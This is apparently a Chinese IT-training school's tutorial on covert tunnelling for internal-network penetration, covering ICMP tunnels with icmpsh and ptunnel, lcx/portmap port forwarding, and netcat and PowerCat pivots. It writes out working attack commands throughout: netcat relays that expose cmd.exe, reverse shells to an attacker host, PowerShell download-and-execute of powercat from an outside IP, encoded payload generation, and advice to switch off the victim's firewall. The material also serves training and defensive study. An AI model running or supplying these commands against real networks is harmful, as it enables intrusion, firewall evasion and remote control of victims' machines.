全国旗舰校区

不同学习城市 同样授课品质

北京

深圳

上海

广州

郑州

大连

武汉

成都

西安

杭州

青岛

重庆

长沙

哈尔滨

南京

太原

沈阳

合肥

贵阳

济南

下一个校区
就在你家门口
+
当前位置:首页  >  技术干货

内网渗透测试研究:隐藏通讯隧道技术

发布时间:2022-09-28 10:05:43
发布人:wjy

  在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。

  那么什么是隧道呢?

  这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。

  常用的隧道技术有以下三种

  网络层:IPv6 隧道、ICMP 隧道:

  传输层:TCP 隧道、UDP 隧道、常规端口转发

  应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道

  先判断内网连通性

  判断内网的连通性是指判断机器能否上外网等。(综合判断各种协议)各协议的方法如下:

  TCP 协议

  用“瑞士jundao”——netcat

  执行 nc 命令:nc<端口> 。

  HTTP 协议

  用“curl”工具,执行 curl <ip地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息。

  CIMP 协议

  用“ping”命令,执行 ping <ip地址 域名="">。

  DNS 协议

  检测DNS连通性常用的命令是“nslookup”和“dig”。

  nslookup 是windows自带的DNS探测命令,执行:

  nslookup www.baidu.com vps-ip nslookup www.baidu.com

  dig是linux系统自带的DNS探测命令,执行:

  dig @vps-ip www.baidu.com dig www.baidu.com

  网络层隧道技术

  IPv6 隧道

  IPv6 隧道技术是指通过 IPv4 隧道传送IPv6 数据包文的技术。为了在 IPv4 海洋中传递 IPv6 信息,可以将 IPv4 作为隧道载体,将 IPv6 报文整体封装在 IPv4 数据报文中,使用 IPv6 报文能够穿过 IPv4 海洋,到达另一个IPv6 小岛。

  将 IPv6封装在IPv4中的过程与其他协议封装相似:隧道一端的节点把IPv6数据报作为要发送给隧道另一端节点的IPv4包中的净荷数据,这样就产生了包含IPv6数据报的IPv4数据报流。如果节点A和节点B都是只支持IPv6的节点,节点A要向B发送包,A只是简单地把IPv6头的目的地址设为B的IPv6地址,然后传递给路由器X;X对IPv6包用IPv4进行封装,然后将IPv4头的目的地址设为路由器Y的IPv4地址;若路由器Y收到此IPv4包,则首先拆包,如果发现被封装的IPv6包是发给节点B的,Y就将此包正确地转发给B。

  因为现阶段的边界设备、防火墙甚至入侵防御系统 还无法识别 IPv6 的通信数据,而大多数的操作系统支持 IPv6 ,所以需要进行人工配置。

内网渗透测试1

 

  攻击者有时会通过恶意软件来配置允许进行 IPv6 通信的设备,以避开防火墙和入侵检测系统。

  配置隧道和自动隧道

  配置隧道和自动隧道的主要区别在于:只有执行隧道功能的节点的IPv6地址是IPv4兼容地址时,自动隧道才是可行的。在为执行隧道功能的节点建立IP地址时,自动隧道方法无需进行配置;而配置隧道方法则要求隧道末端节点使用其他机制来获得其IPv4地址,例如采用DHCP、人工配置或其他IPv4的配置机制。

  支持 IPv6 的隧道工具有 socat、6tunnel、nt6tunnel 等。

  ICMP 隧道

  在 ICMP 通信协议中,通信双方的两台设备不需要开放端口即可进行,而在一般的通信协议中,是必须要开放端口的。最常见的 ICMP 协议的消息为 ping 命令的回复,攻击者可以利用命令行得到比回复更多的 ICMP 请求。

  在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道、DNS隧道、常规端口转发等)进行的操作都失败了,由于防火墙不会屏蔽ping数据包,所以常常会通过ping命令访问远程主机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙,实现不受限制的网络访问。

  介绍一下常用的ICMP隧道工具。

  icmpsh

  icmpsh 工具是一个简单的ICMP反弹shell工具。可以跨平台,且运行时无需管理员权限。

  下载地址:

  https://github.com/inquisb/icmpsh

内网渗透测试2

 

  运行需要安装Python的impacket类库,以便对tcp、udp、icmp、igmp、arp、ipv4、ipv6、smb、等进行访问。

  icmpsh 运行时因为要代替系统本身的ping命令的应答程序,所以需要先执行以下命令关闭本地系统的ICMP应答,否则获得的shell不稳定:

  sysctl -w net.ipv4.icmp_echo_ignore_all=1 // 恢复设为0

内网渗透测试3

  实战:

  攻击者vps模拟公网IP:192.168.1.101

  受害者模拟公网IP:192.168.1.100

  攻击者server端在项目目录下输入:

  python icmpsh_m.py 192.168.1.101 192.168.1.100 python icmpsh_m.py 攻击者ip 受害者ip

  或输入./run.sh运行程序,之后提醒你输入受害者公网ip,会给出你在受害者主机上执行的命令。

  给受害者主机上传icmpsh.exe并执行命令:

  icmpsh.exe -t 192.168.1.101 -d 500 -b 30 -s 128

  即可在攻击机上看到受害者的shell:

内网渗透测试4

 

  imcpsh.exe参数:

  -t host主机ip地址,用于向其发送ping请求。此选项是强制性的!-r 发送包含字符串的单个测试icmp请求,然后退出。这是用于测试连接的。-d 毫秒请求之间的延迟(以毫秒为单位) -o 毫秒响应超时(以毫秒为单位)。如果未及时收到回复, 从站将增加一个空白计数器。如果该计数器达到极限,则从站将退出。如果收到响应,则计数器设置回0。-b 空格数限制(退出前未答复的icmp请求 -s 字节最大数据缓冲区大小(以字节为单位)

  在实际渗透测试中,我们如何知道受害机的公网ip呢,严格说这个ip应该是server端看到的ip,为了得到这个ip可以从内网终端ping这个vps,在vps中用tcpdump icmp或tcpdump -i eth0 icmp命令监听并获取这个ip,然后填写。

内网渗透测试5

 

  Pingtunnel

  Pingtunnel也是一个常用的ICMP隧道工具,可以跨平台,4.在使用时可以给隧道设置密码,从而防止隧道被滥用。

  下载地址:

  http://freshmeat.sourceforge.net/projects/ptunnel/

  下面我们做一个测试。测试环境如下:

内网渗透测试6

 

  攻击者vps 模拟公网IP:192.168.1.101 Web服务器 模拟公网IP:192.168.1.103 内网IP:192.168.52.128 数据库服务器 内网IP:192.168.52.143

  假设我们已经获得了web服务器的权限,继续向内网中渗透,但是攻击者无法访问到位于内网的数据库服务器(192.168.52.143)。web服务器也无法直接访问数据库服务器,但是可以通过ping命令访问数据库服务器。那么我们就可以以web服务器为跳板,建立ICMP隧道对内网继续渗透。

  先在受害web服务器上面上传ptunnel程序并执行:

  ptunnel -x whoami

内网渗透测试7

  攻击者vps上面执行:

  ptunnel -p 192.168.1.103 -lp 1080 -da 192.168.52.143 -dp 3389 -x whoami

内网渗透测试8

  上述命令的含义是:在访问攻击者vps(192.168.1.101)的1080端口时,会把数据库服务器(192.168.52.143)的3389端口的数据封装在ICMP隧道里,以Web服务器192.168.1.103为ICMP隧道跳板进行传送。整个过程中Web服务器是一个边界服务器,作为一个跳板进行数据转发。

  最后在攻击者vps上面访问其本地1080端口即可与数据库服务器的3389端口建立连接:

内网渗透测试9

 

  ptunnel的参数:

  -x: 指定ICMP隧道连接的密码 -lp: 指定攻击者要监听的本地TCP端口 -da: 指定要转发的第三方目标机器的IP地址 -dp: 指定要转发的第三方目标的TCP端口 -p: 指定ICMP隧道另一端的机器的IP地址

  也可以使用ICMP隧道访问数据库服务器192.168.52.143的22端口,建立ssh连接。vps输入以下命令:

  ptunnel -p 192.168.1.103 -lp 1080 -da 192.168.52.143 -dp 22 -x whoami

  即可用以下命令建立与内网数据库服务器的ssh连接:

  ssh administrator@127.0.0.1 -p 1080

内网渗透测试10

同样可以将内网目标服务器的web服务80端口转发到攻击者本地:

 

  ptunnel -p 192.168.1.103 -lp 8000 -da 192.168.52.143 -dp 80 -x whoami

  攻击者用浏览器访问vps的8000端口即可。

  传输层隧道技术

  在渗透测试中,如果内网的防火墙阻止了对指定端口的访问,在获取了目标机器的权限后,可以使用防火墙命令打开指定的端口或关闭防火墙。如果内网中存在一系列防御系统,TCP、UDP 流量会被大量拦截。

  lcx端口转发

  lcx是一个很经典的端口转发工具,其基于Socket套接字,有Windows和Linux两个版本。Windows的为lcx.exe,Linux的为portmap。

  下载地址:

  https://github.com/MrAnonymous-1/lcx

  一个正常的socket套接字必须具备两端:一端是服务器,监听一个端口,等待客户端连接;另一端为客户端,通过给出服务器的IP和端口,与服务端建立连接。

  内网端口转发

  在受害机(Windows)上面执行如下命令,将受害机3389端口的数据转发到攻击者公网VPS(Windows)的8000端口上。

  lcx.exe -slave <攻击者ip> 8000 127.0.0.1 3389

内网渗透测试11

  在攻击机上面执行如下命令,将本机8000端口上监听到的数据转发到本机的4444端口上面

  lcx.exe -listen 8000 4444

内网渗透测试12

 

  此时即可登录用远程桌面登录<攻击者本地ip>:4444,即可访问受害者的3389端口远程桌面了。

内网渗透测试13

 

  Linux系统上面使用portmap:

  先在具有公网ip的攻击机上执行:

  ./portmap -m 2 -p1 23 -h2 127.0.0.1 -p2 2333 ./portmap -m 2 -p1 23 -h2 公网主机ip -p2 2333

内网渗透测试14

  意思是监听来自23端口的请求,将其转发到2333端口。

内网渗透测试15

  这里有一个-m参数这个参数的解释:以哪种方式来用这个工具,然后下面有三个方式

  1.监听 port1 端口并且连接host2的port2端口 2.监听port1和port2端口。3.连接host1对应的端口和主机2对应的端口。

  受害机:

内网渗透测试16

  意思就是将内网受害主机22端口的流量转发到公网攻击机的23端口。

内网渗透测试17

 

  接着攻击者用ssh命令本地连接即可:

内网渗透测试18

 

  本地端口转发

  如果目标服务器由于防火墙的限制,部分端口(例如3389、22)的数据无法通过防火墙,我们可以将目标服务器相应端口的数据转发到他的其他防火墙允许的端口上去。在受害机上面执行以下命令,就可以将目标3389端口透传到目标机1080端口上:

  lcx.exe -tran 1080 127.0.0.1 3389

内网渗透测试19

 

  netcat——瑞士jundao

  下载地址:

  https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download

  利用nc获取shell

  (1)正向shell

  受害机:

内网渗透测试20

  攻击机:

  nc 192.168.1.102(受害者) 4444 //主动连接

  (2)反向shell

  攻击者:

  nc -lvp 4444 //开启监听

  受害者:

内网渗透测试21

  反向shell通常用在开启了防护措施的目标机器上,例如防火墙过滤、端口转发等。

  内网代理

  测试环境如下:

内网渗透测试22

 

内网渗透测试23

  我们已经获取了web服务器的权限,攻击者vps无法访问数据库服务器(192.168.52.143),但是通过web服务器可以访问数据库服务器。我们可以尝试利用web服务器做跳板来获取数据库服务器的shell。

  攻击者先在vps上面监听2333端口:

  nc -lvp 2333

  接着想办法在数据库服务器上面执行以下命令

  nc -ldp 3333 -e c:\windows\system32\cmd.exe

  最后在web服务器上面执行以下命令:

  nc 192.168.1.101 2333 -c "nc -v 192.168.52.143 3333"

  最后在攻击机上面获得了数据库服务器的shell

内网渗透测试24

 

  整个过程就是:先使web服务器连上攻击机,在连接上的一瞬间再去连接位于内网的数据库服务器,web服务器是边界服务器,只当做通信的中转。

  PowerCat

  PowerCat就是powershell版本的nc,与nc使用方法相似,且可以上传到目标机本地执行,也可以让目标机远程下载后在内存中执行。

  下载地址:

  https://github.com/besimorhino/powercat

  将PowerCat作为跳板:

  测试环境如下:

内网渗透测试25

 

内网渗透测试26

  Windows 7 可以与内网 Windows Server 8 通信,Windows 7可连通外网,攻击机无法访问内网的 Windows Server 8 但可以访问Windows 7。假设我们通过渗透已经拿到了Windows 7的权限,我们可以将Windows 7作为跳板拿到内网 Windows Server 8 的shell。

  先想办法在 Windows Server 8上面上传powercat.ps1并执行以下powershell命令

  powershell -ExcutionPolicy bypass IEX(New-Object Net.WebClient).DownloadString("http://39.1xx.xx9.xxx/powercat.ps1");powercat -l -v -p 8000 -r tcp:192.168.52.138:9999

  // -r:数据转发

  接着在Windows 7 上面执行以下命令:

  powershell -ExcutionPolicy bypass IEX(New-Object Net.WebClient).DownloadString("http://39.1xx.xx9.xxx/powercat.ps1");powercat -l -v -p 8000 -r tcp:192.168.52.138:9999// -r:数据转发

  最后在攻击者主机上面主动连接Windows 7

  nc -vv 192.168.1.102 8000

  即可在攻击者主机上获得Windows Server 8的shell:

内网渗透测试27

 

  这里的操作是正向shell会受到防火墙的限制而不成功,可以使用命令关闭受害机的防火墙。

  反弹shell:

  攻击机

  nc -l -p 8888 -vv

  受害机

内网渗透测试28

  反弹PowerShell:

  想要反弹powershell的话,两端必须都用powercat。

  攻击机

  powercat -l -v -p 4444

  受害机

  powercat -c <攻击者IP> -p <攻击者端口> -v -ep// -ep: 用于反弹powershell

  用PowerCat生成payload

内网渗透测试29

  在攻击者主机上提前做好相应的配置后,将shell.ps1上传至受害主机用powershell执行即可。

  -g:生成payload

  -ge:生成经过编码的payload,可以使用powershell -e/-EncodedCommand <编码的代码>命令来执行

相关文章

nn.Linear()和nn.Embedding()有什么区别?

nn.Linear()和nn.Embedding()有什么区别?

2023-10-14
敏捷开发和迭代式开发的根本区别是什么?

敏捷开发和迭代式开发的根本区别是什么?

2023-10-14
flutter和uni-app在应用层面有什么区别?

flutter和uni-app在应用层面有什么区别?

2023-10-14
Flutter和 qt的区别都有什么?

Flutter和 qt的区别都有什么?

2023-10-14

最新文章

常见网络安全面试题:Windows常用的命令有哪些?

常见网络安全面试题:Windows常用的命令有哪些?

2023-10-09
常见网络安全面试题:根据设备告警如何展开排查?

常见网络安全面试题:根据设备告警如何展开排查?

2023-10-09
常见网络安全面试题:mysql加固呢?(数据库加固)

常见网络安全面试题:mysql加固呢?(数据库加固)

2023-10-09
常见网络安全面试题:windows和linux加固?(操作系统加固)

常见网络安全面试题:windows和linux加固?(操作系统加固)

2023-10-09
在线咨询 免费试学 教程领取